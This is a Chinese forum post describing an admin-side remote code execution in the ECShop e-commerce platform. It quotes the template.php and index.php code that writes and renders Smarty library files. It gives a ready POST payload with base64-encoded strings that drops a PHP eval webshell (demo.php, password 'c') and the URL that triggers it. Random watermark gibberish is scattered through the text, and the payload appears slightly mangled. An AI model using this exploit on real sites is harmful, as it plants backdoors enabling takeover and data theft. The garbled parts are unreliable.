Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
. W7 n2 I8 p* x
! C1 o5 e, j) A) k而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
) l& X7 u, x9 Y- C( A  M- badmin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2   
2 w1 v& G. g1 Z* U% G0 j1 |( z
3 {
. B: Z! t! u4 V6 Q7 d) H
4     check_authz_json('library_manage');
: l/ n- J) ~% p2 I7 o& Q3 D/ f
: C6 N$ Z9 P( S; G. M5   

6     $html = stripslashes(json_str_iconv($_POST['html']));
0 m. V8 c! F" y' I
7   
" y1 |9 b! K3 C# A- h
+ l0 B; L5 f2 y8 c* x7 o. D8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. K& @, Y1 }' f* }( x0 k2 C: y
9   
* {  ~) J4 j* Y- M  j( Q* g
+ d. v# E' i4 S( {7 F  w7 y$ h10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 f6 c8 G! n- Y, H( d4 y& K- P2 O. a
7 j# G( M/ D9 O/ w) E11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   

! F; ~  {2 F1 x" T- |14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

; Z3 Y! y* ~: N15     {
  a/ z2 z0 t, M/ U4 e, [
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
0 P5 j/ x. o/ ~8 U9 R0 D! W6 _
0 |, G' V5 _0 ~5 F) X' U/ a17         make_json_result('', $_LANG['update_lib_success']);
2 V, o6 _+ L' y3 u; @6 r
18     }
. j- `, q# e) W9 e/ u2 C$ U! N" V
19     else

5 S$ T; W6 Y/ X8 K$ y- V& ?20     {
* ?! g" I. A# u" o6 x
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

) B: ^' a* ^/ K# g4 x! R22     }

( \+ ~# o% u3 g3 a23 }
; x/ Y  _9 C8 b0 d9 [
那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   

3 {

4   

. O/ t0 z3 K5 o2 B5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
! b- z) v. X( G9 ~( I' W. \/ |  O
6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 I$ m+ `- `& z' _
8   

2 Q% v& X: @) U0 g0 o9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
1 \3 Q- |5 {' I0 ~
11     include_once('includes/cls_json.php');

12   

9 C% m- p; X1 N& }. T! k& s- m13     $json = new JSON;

, X; N7 u$ R0 u0 ]14   

2 d# `1 I: h: ?( X! I15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

9 \& s# V. f0 y, b3 Q17     $children = get_children($cat_id);
0 ^) e- L8 t2 O4 o% i# v, Q
18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
- X! l9 O4 O1 {- |9 b- n- h
& O3 K7 o+ g* J6 l5 ~2 ~20   

21     $smarty->assign('cat_rec_sign', 1);

/ E, Y% n  S* S7 P0 X22   
" a  x4 L; `$ X2 s- {6 s
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
9 @' b  l$ j) s! m; D+ r
24   
  q9 t$ p, [5 C4 H: V
: D# ]9 V5 d& ~; A; k' g* u25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

" g( b2 l7 y$ r9 i* t9 O. v26   

27         echo $rec_array[$rec_type];
6 F3 m9 L* O) \0 x( k8 }3 @
! l9 e- S/ E  ]4 I4 L5 X- o28   

29     die($json->encode($result));

. w9 R4 |) Z6 Q" {5 d- Y% M, g30   
0 b. V# E8 m" W' Y& W
31 }
: F2 z" v! A8 S# Q# w% ]6 S
& N6 s! {/ H. d7 n) p/ b那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
/ o. N' O" K: Q- P) Z0 R
  I- Y+ k- J5 ?+ B8 b, \2 }" @然后访问http://localhost/ec/index.php?act=cat_rec
4 X6 H6 c/ T. l+ }7 Y1 c4 {
shel地址：http://localhost/ec/demo.php
' g1 h# p( r9 f! i5 P' k密码c